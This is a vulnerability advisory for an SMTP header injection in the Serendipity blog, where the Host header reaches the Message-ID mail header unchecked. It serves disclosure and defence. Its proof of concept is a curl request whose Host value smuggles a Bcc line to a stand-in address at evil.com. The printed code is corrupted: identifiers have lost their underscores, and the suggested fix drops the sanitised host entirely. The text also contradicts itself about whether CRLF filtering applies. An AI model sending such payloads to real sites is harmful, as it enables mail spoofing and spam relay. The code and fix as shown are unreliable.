CVE-2026-39971: Serendipity: Host Header Injection leads to SMTP header injection via unvalidated HTTP_HOST

Summary Serendipity inserts $SERVER['HTTPHOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details In include/functions.inc.php:548: php $maildata['headers'][] = 'Message-ID: <' . bin2hex(randombytes(16)) . '@' . $SERVER['HTTPHOST'] // ← unsanitized, attacker-controlled . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants: php function serendipityisResponseClean($d) { return (strpos($d, "\r") === false && strpos($d, "\n") === false && stripos($d, "%0A") === false && stripos($d, "%0D") === false); }

Critically, serendipityisResponseClean() is not even called on HTTPHOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)

PoC bash Trigger comment notification email with injected header curl -s -X POST \ -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \ -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entryid]=1" \ http://[TARGET]/comment.php Resulting malicious Message-ID header in outgoing email: Message-ID: <deadbeef@attacker.com> Bcc: victim@evil.com X-Injected: >

Impact An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables: - Identity spoofing — emails appear to originate from attacker-controlled domain - Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure - Email reputation abuse — attacker's domain embedded in legitimate mail headers Suggested Fix Sanitize HTTPHOST before embedding in mail headers, and restrict to valid hostname characters only: php $safehost = pregreplace('/[^a-zA-Z0-9.\-]/', '', parseurl('http://' . $SERVER['HTTPHOST'], PHPURLHOST) ); $maildata['headers'][] = 'Message-ID: ';